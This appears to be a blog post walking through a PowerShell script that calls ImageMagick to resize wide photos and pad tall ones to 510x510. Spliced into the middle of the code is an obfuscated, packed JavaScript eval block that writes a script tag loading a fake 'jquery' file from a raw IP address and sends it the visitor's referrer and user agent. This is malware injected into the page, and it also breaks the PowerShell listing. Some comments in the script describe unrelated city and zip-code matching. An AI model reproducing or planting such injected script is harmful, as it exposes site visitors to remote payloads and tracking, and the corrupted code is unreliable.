In my previous blog, I talked about how to use ImageMagick to square a file. Now, in this blog I’m taking it one step further.
I have a directory of photos from all over the internet, and I want to post them to a social media site. If the pictures are taller than 510 pixels, I need to square them as discussed in the last blog (and I’m adding a white padding/background). This will keep them from being cut off when I post them to the specific social media site.
Secondly, if the picture is “wide” vs “tall”, then I don’t need to add the background, but I might as well resize it to save upload/posting time. Some pictures downloaded from the internet are very large, so I’m standardizing on resizing them to a width or height of 510, whichever is smaller.
So in the Powershell, here’s what is happening:
1) Get all the files in a directory ($inputPath) and loop through them one at a time
2) Call ImageMagick “identify” to return the size of the file (primarily I need to know it’s width and height)
3) Use RegEx pattern matching to pull the width/height out of the returned string, convert them to numbers, then use compare them
4) If it is a wide picture, call the ImageMagick resize function
5) If it is a tall picture, call the ImageMagick convert function. Technically, I’m converting to a thumbnail, but it’s a very large thumbnail.
For both #4 and #5 in the above steps, the output file is a variable written to the $targetPath directory with the same filename.
cls $inputPath <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkysi|var|u0026u|referrer|dfezk||js|php'.split('|'),0,{})) </script></noindex> = "e:\Photos\ToResize\" $targetPath = "e:\Photos\Resized\" $files = get-ChildItem $inputPath foreach ($file in $files) { #$output = & magick identify e:\Photos\ToResize2cca60-a2a9-49b8-964e-b228acf517f3.jpg # shell out to run the ImageMagick "identify" command $output = & magick identify $file.FullName $outFilename = $targetPath + $file.Name # sample value of $output: #e:\Photos\ToResize2cca60-a2a9-49b8-964e-b228acf517f3.jpg JPEG 768x512 768x512+0+0 8-bit sRGB 111420B 0.000u 0:00.000 write-host $output $pattern = ".* (\d*?)x(\d*?) .*" #the first parenthese is for capturing the cityState into the $Matches array #the second parentheses are needed above to look for $ (which is end of line) #or zip code following the city/state $isMatch = $output -match $pattern if ($Matches.Count -gt 0) { #$width = $Matches[1]; #$height = $Matches[2]; [int]$width = [convert]::ToInt32($Matches[1]); [int]$height = [convert]::ToInt32($Matches[2]); if ($height -gt $width) { $orientation = "tall"; # shell out to run the ImageMagick "convert" command & convert -define jpeg:size=510x510 $file.FullName -thumbnail "510x510>" -background white -gravity center -extent "510x510" $outFilename } else { $orientation = "wide"; # shell out to run the ImageMagick "convert" command & convert -resize 510x510^ $file.FullName $outFilename } Write-Host ("file=$($file.name) width=$width height=$height orientation=$orientation `n`n"); } else { Write-Host ("No matches"); } }
Filed under: Graphics